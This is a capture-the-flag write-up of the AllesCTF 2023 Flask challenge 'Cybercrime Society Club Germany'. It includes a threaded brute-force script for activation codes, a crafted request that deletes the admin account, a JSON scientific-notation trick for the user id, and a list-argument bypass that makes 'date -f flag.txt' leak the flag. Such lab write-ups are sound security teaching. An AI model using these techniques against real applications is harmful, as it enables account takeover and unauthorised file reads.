# AllesCTF 2023  
## Cybercrime Society Club Germany

A Python Flask web challenge, with the flag in the same directory as the app.

![screenshot of the home page of the challenge website with options to login
and sign
up](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/homepage.png)

Looking at the files, it stores user data in a json file, and judging by
`admin.html`, it seems like there is an admin dashboard for privileged users.

![file structure of the challenge source
code](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/challenge_file_structure.png)

### Users

The json store for users' data is controlled by the `UserDB` class in the
`Userdb.py` file. It handles the logic for creating a new user,
authentication, changing the email address, etc. For example, here is the
admin authorisation method:

`Userdb.py`  
```py  
def is_admin(self, email):  
user = self.db.get(email)  
if user is None:  
return False

#TODO check userid type etc  
return user["email"] == "[email protected]" and user["userid"] > 90000000  
```

To pass this check, the user has to have the admin's email and the user id has
to be greater than 90 million.

### Admin dashboard

Speaking of the admin, the user database is initialized with the admin
account, whose user id is set to `90,010,001`, and password to a random uuid
(not bruteforceable).

`app.py`  
```py  
userdb = UserDB("userdb.json")  
userdb.add_user("[email protected]", 9_001_0001, str(uuid()))  
```

The admin dashboard html file only contains a form...

`templates/admin.html`  
```html  
<form>  
<form action="/admin">  
<label for="cmd">cmd:</label>  
  
<input type="text" id="cmd" name="cmd" value="date">  
  
<input type="submit" value="Submit">  
</form>  
</form>  
```

...the results of which are sent to an API endpoint.

`templates/admin.html`  
```html  
<script>  
// [...]  
function handleSubmit(event) {  
event.preventDefault();  
const data = new FormData(event.target);  
sendToApi({  
"action": "admin",  
"data": {  
"cmd": data.get('cmd')  
}  
});  
}  
// [...]  
</script>  
```

The API code is also located in `app.py`. It looks like it passes the form
input to `suprocess.run()`, executing the command ([python
docs](https://docs.python.org/3/library/subprocess.html#subprocess.run)) and
returns the output of the command to the admin dashboard. Looks like the
solution might be a reverse shell.

`app.py`  
```py  
def api_admin(data, user):  
if user is None:  
return error_msg("Not logged in")  
is_admin = userdb.is_admin(user["email"])  
if not is_admin:  
return error_msg("User is not Admin")

cmd = data["data"]["cmd"]  
# currently only "date" is supported  
if validate_command(cmd):  
out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)  
return success_msg(out.stdout.decode())

return error_msg("invalid command")  
```

However, the `validate_command` function quickly shows us we don't have many
options for commands to pass. It won't be as easy as `cat flag.txt`. Let's
think about that later, we first need to figure out if it's even possible to
gain admin privileges, for which we probably need an account.

`app.py`  
```py  
def validate_command(string):  
return len(string) == 4 and string.index("date") == 0  
```

### Creating an account

Creating an account wasn't an obvious task.

![screenshot of the sign up page with fields: email, password, group dropdown,
user id, and activation
code](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/signup.png)

When submitting user details, the provided activation code is checked, and the
account is created only if the check passes.

`app.py`  
```py  
def api_create_account(data, user):  
dt = data["data"]  
email = dt["email"]  
password = dt["password"]  
groupid = dt["groupid"]  
userid=dt["userid"]  
activation = dt["activation"]

if email == "[email protected]":  
return error_msg("cant create admin")

assert(len(groupid) == 3)  
assert(len(userid) == 4)

userid = json.loads("1" + groupid + userid)  
# print(dt)  
# print(userid)

if not check_activation_code(activation): # <\---- HERE  
return error_msg("Activation Code Wrong")  
# print("activation passed")

if userdb.add_user(email, userid, password):  
# print("user created")  
return success_msg("User Created")  
else:  
return error_msg("User creation failed")  
```

The verification first waits for 20 seconds (to supposedly discourage
bruteforcing) and then checks if the activation code provided contains a
random 4-digit number.

`app.py`  
```py  
def check_activation_code(activation_code):  
# no bruteforce  
time.sleep(20)  
if "{:0>4}".format(random.randint(0, 10000)) in activation_code:  
return True  
else:  
return False  
```

Fortunately, there is no limit on the length of the activation code we can
provide in the form. Giving a long activation code made up of digits 0-9
increases the odds that a random 4-digit number will be contained in it. I
thought about using a superpermutation
([Wikipedia](https://en.wikipedia.org/wiki/Superpermutation) or [Greg Eagan's
article](https://www.gregegan.net/SCIENCE/Superpermutations/Superpermutations.html))
to ensure the check always passes. But the quick and dirty solution of using a
long activation code and trying it a lot in 20 threads at a time worked well
enough. Here's the script I used:

`exploit/make_account.py`  
```py  
import requests  
import random  
import threading

base_url = 'https://5ae393509ccec98005d31b00-1024-cybercrime-society-club-
germany.challenge.master.camp.allesctf.net:31337'  
userid = '8476'  
groupid = '001'  
email = f'[email protected]'

def make_account(email, password, groupid, userid):  
# create a long activation code  
activation = '1234567890135791246801470258136959384950162738'  
activation += str(reversed(activation))

url = f'{base_url}/json_api'

response = requests.post(url, json={  
'action': 'create_account',  
'data': {  
'email': email,  
'password': password,  
'groupid': groupid,  
'userid': userid,  
'activation': activation  
}  
})

# return None if and only if the account wasn't created  
result = response.json()  
if 'return' in result:  
if result['return'] == 'Error':  
if 'message' in result and result['message'] != "Activation Code Wrong":  
print('\nUnexpected error in response:', response.text)  
return None  
else:  
return result  
return None

print(f'Making account with userid {userid} and email {email}')  
found = False

def attempt():  
# try to create an account 10 times  
# (each try takes 20 seconds)  
global found  
for try_number in range(10):  
if found:  
return  
result = make_account(email, '1234', groupid, str(userid))  
if result is not None:  
found = True  
print('*', end='', flush=True)  
else:  
print(try_number, end='', flush=True)

# run one attempt in each 20 threads  
num_threads = 20  
threads = []

for num_thread in range(num_threads):  
thread = threading.Thread(target=attempt)  
thread.start()  
threads.append(thread)

for thread in threads:  
thread.join()

if found:  
print('\nSuccess!')  
else:  
print('\nFailure')  
```

It took about a minute to create the account, the output of the program was:

```  
$ python3 make_account.py  
Making account with userid 8476 and email [email protected]  
0000000000111111111122 2222222233*333333344  
Success!  
```

I could then log in to an account with the email [email protected] and
password 1234.

![screenshot of the login page with email and password filled
in](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/log_in_as_user.png)

### We're in (not in the cool way yet)

Logging in, we're presented with the user home page.

![screenshot of the user home page with links to account settings and to log
out](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/normal_user_home_page.png)

Here's the settings page:

![screenshot of the settings page with an interface to change the email
address or delete the
account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/account_settings.png)

Now that we're here, let's take a look at what the API can do for us.

`app.py`  
```py  
actions = {  
"delete_account": api_delete_account,  
"create_account": api_create_account,  
"edit_account": api_edit_account,  
"login": api_login,  
"logout": api_logout,  
"error": api_error,  
"admin": api_admin,  
}

@app.route("/json_api", methods=["GET", "POST"])  
def json_api():  
user = get_user(request)  
if request.method == "POST":  
data = json.loads(request.get_data().decode())  
# print(data)  
action = data.get("action")  
if action is None:  
return "missing action"

return actions.get(action, api_error)(data, user)

else:  
return json.dumps(user)

```

We already know the `create_account` and `admin` actions. The actions `login`,
`logout`, and `error` don't offer anything interesting for our purpose. The
remaining ones are:  
\- `edit_account`  
\- `delete_account`

#### `edit_account`

The `edit_account` action is used by the form for changing the email address
of the logged in account (screenshot above).

`app.py`  
```py  
def api_edit_account(data, user):  
if user is None:  
return error_msg("not logged in")  
  
new = data["data"]["email"]

if userdb.change_user_mail(user["email"], new):  
return success_msg("Success")  
else:  
return error_msg("Fail")  
```

`Userdb.py`  
```py  
def change_user_mail(self, old, new):  
user = self.db.get(old)  
if user is None:  
return False  
if self.db.get(new) is not None:  
print("account exists")  
return False

user["email"] = new  
del self.db[old]  
self.db[new] = user  
self.save_db()  
return True  
```

The only checks in place are to see if the logged in user's email exists in
the database and if the new email isn't already used by another user. Note
that it doesn't prevent changing the user's email to the admin email. That is,
if the admin's email, or entire user, doesn't exist in the database... Maybe
we can delete the admin account?

#### `delete_account`

`app.py`  
```py  
def api_delete_account(data, user):  
if user is None:  
return error_msg("not logged in")

if data["data"]["email"] != user["email"]:  
return error_msg("Hey thats not your email!")

# print(list(data["data"].values()))  
if delete_accs(data["data"].values()):  
return success_msg("deleted account")  
```

Here, the validation checks if the logged in user's email matches the email in
the request. But then it passes all `data["data"].values()` for deletion. This
means that the check happens only on `data["data"]["email"]`, so if we provide
another key-value pair in the request in `data["data"]`, its value will be
passed to `delete_accs(data["data"].values())` too.

`app.py`  
```py  
def delete_accs(emails):  
for email in emails:  
userdb.delete_user(email)  
return True  
```

`Userdb.py`  
```py  
def delete_user(self, email):  
if self.db.get(email) is None:  
print("user doesnt exist")  
return False  
del self.db[email]  
self.save_db()  
return True  
```

### Let's become the admin

There is no protection against providing the admin's email address.  
Let's use this finding to to delete the admin account.

#### Deleting the admin account

Let's go to the Settings page again, turn on network monitoring in Firefox,
and click submit on "Change Email".

![screenshot of the settings page with an interface to change the email
address or delete the
account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/account_settings.png)

The request was:  
```json  
{"action":"edit_account","data":{"email":"[email protected]"}}  
```

and the response:

```json  
{"return": "Error","message": "Fail"}  
```

(we got an error because our email already exists in the database).

We can then right click on that request, choose "Edit and resend", and change
the request to delete the admin account. This will also delete our account, so
we only have one try at this (without bruteforcing another account).

Request:  
```json  
{"action":"delete_account","data":{"email":"[email protected]", "other_email":
"[email protected]"}}  
```

Response:  
```json  
{"return": "Success","message": "deleted account"}  
```

#### Becoming the admin

Now that the admin account has been deleted from the database, we can create a
new account with a dummy email (account creation prevents using the admin's
email), and then change the account email to the admin email in the settings.

However, there is one caveat. Here's the admin authentication code from
`UserDB` I referenced at the beginning:

`Userdb.py`  
```py  
def is_admin(self, email):  
user = self.db.get(email)  
if user is None:  
return False

#TODO check userid type etc  
return user["email"] == "[email protected]" and user["userid"] > 90000000  
```

Our new user's `userid` needs to be greater than 90 million. Let's see the
account creation code again, but only the parts relevant to the user id.

`app.py`  
```py  
def api_create_account(data, user):  
# [...]

groupid = dt["groupid"]  
userid=dt["userid"]  
  
# [...]

assert(len(groupid) == 3)  
assert(len(userid) == 4)

userid = json.loads("1" + groupid + userid)

# [...]

if userdb.add_user(email, userid, password):  
# [...]  
```

1\. `groupid` comes from the request and it needs to be 3 characters long  
1\. `userid` also comes from the request and it needs to be 4 characters long  
1\. they are both used to create the database user id with `json.loads()`  
1\. which is used to add the user to the database

The weird way of creating the user id with no other validation...  
```py  
userid = json.loads("1" + groupid + userid)  
```  
...means we can try using those fields to create valid json parsing to
something greater than 90 million.

Setting `groupid` to `000` and `userid` to `0000` is not enough - that would
evaluate into only 10 million.  
```py  
>>> json.loads('1'+'000'+'0000') > 90_000_000  
False  
```

Fortunately, json allows scientific notation for numbers. I tried setting
`groupid` to `e10` and `userid` to four spaces (whitespace is ignored) and it
worked.  
```py  
>>> json.loads('1'+'e10'+' ') > 90_000_000  
True  
```

Now I only need to modify the account creation code above to use those values
and run it again.

```  
Making account with userid and email [email protected]  
000000000000000000001111111111111111111122222222222222222222333333333333333333334444444444444444444455*5555555555555555566  
Success!  
```

![logging in with the newly created
account](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/future_admin_account_login.png)

Logging in still shows the normal homepage - our email ([email protected]) is
still not the admin email ([email protected]).

![screenshot of the user home page with links to account settings and to log
out](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/normal_user_home_page.png)

We should be able to change the email address in the settings.

![screenshot of the user settings page, changing the email address to the
admin's email
address](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/future_admin_email_after.png)

Clicking submit brings us back to the home page, but now we have the link to
the admin page.

![screenshot of the user home page with links to account settings, to log out,
and to the admin
dashboard](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/admin_homepage.png)

### We're in

The admin page has a field for the command and a submit button.

![screenshot of the admin dashboard with a command text field and a submit
button](https://jsmi.dev/assets/ctf/2023/alles/web_cybercrime/admin_dashboard_date.png)

As we saw earlier, the command is validated to only allow the `date` command.

`app.py`  
```py  
def api_admin(data, user):  
if user is None:  
return error_msg("Not logged in")  
is_admin = userdb.is_admin(user["email"])  
if not is_admin:  
return error_msg("User is not Admin")

cmd = data["data"]["cmd"]  
# currently only "date" is supported  
if validate_command(cmd):  
out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)  
return success_msg(out.stdout.decode())

return error_msg("invalid command")  
```

`app.py`  
```py  
def validate_command(string):  
return len(string) == 4 and string.index("date") == 0  
```

However, nothing prevents us from passing a list of 4 values, the first being
`date`.

```py  
>>> def validate_command(string):  
... return len(string) == 4 and string.index("date") == 0  
...  
>>> validate_command(['date', 'a', 'b', 'c'])  
True  
```

The way `subprocess.run(args)` works, if `args` is a list, the first element
is going to be the command that's executed, and the remaining ones are given
used as commandline arguments for it. We still can't cat the flag.  
I needed to read up on the `date` command, to see if I can find any parameters
to pass that would reveal the flag, and I found the solution.  
First, we can make `date` take input from a file with `-f filename`. But that
only uses up 3 elements. I needed a flag that doesn't need any arguments, and
found `-u`.

```  
$ date --help  
Usage: date [OPTION]... [+FORMAT]  
or: date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]  
Display date and time in the given FORMAT.  
With -s, or with [MMDDhhmm[[CC]YY][.ss]], set the date and time.

Mandatory arguments to long options are mandatory for short options too.  
-d, --date=STRING display time described by STRING, not 'now'  
\--debug annotate the parsed date,  
and warn about questionable usage to stderr  
-f, --file=DATEFILE like --date; once for each line of DATEFILE  
-I[FMT], --iso-8601[=FMT] output date/time in ISO 8601 format.  
FMT='date' for date only (the default),  
'hours', 'minutes', 'seconds', or 'ns'  
for date and time to the indicated precision.  
Example: 2006-08-14T02:34:56-06:00  
\--resolution output the available resolution of timestamps  
Example: 0.000000001  
-R, --rfc-email output date and time in RFC 5322 format.  
Example: Mon, 14 Aug 2006 02:34:56 -0600  
\--rfc-3339=FMT output date/time in RFC 3339 format.  
FMT='date', 'seconds', or 'ns'  
for date and time to the indicated precision.  
Example: 2006-08-14 02:34:56-06:00  
-r, --reference=FILE display the last modification time of FILE  
-s, --set=STRING set time described by STRING  
-u, --utc, --universal print or set Coordinated Universal Time (UTC)  
\--help display this help and exit  
\--version output version information and exit  
```

The original request was:  
```json  
{"action":"admin","data":{"cmd":"date"}}  
```

And the response was:  
```json  
{"return": "Success", "message": "Wed Aug 16 21:24:36 UTC 2023\n"}  
```

Using the "Edit and resend" tool in Firefox again to change the request:  
```json  
{"action":"admin","data":{"cmd":["date", "-f", "flag.txt", "-u"]}}  
```

Produces to this response:  
```json  
{"return": "Success", "message": "date: invalid date
\u2018ALLES!{js0n_b0urn3_str1kes_ag4in!}\u2019\n"}  
```

Which finally gives us the flag:

```  
ALLES!{js0n_b0urn3_str1kes_ag4in!}  
```  

Original writeup (https://www.cqql.site/ctf/2023/alles/web_cybercrime.html).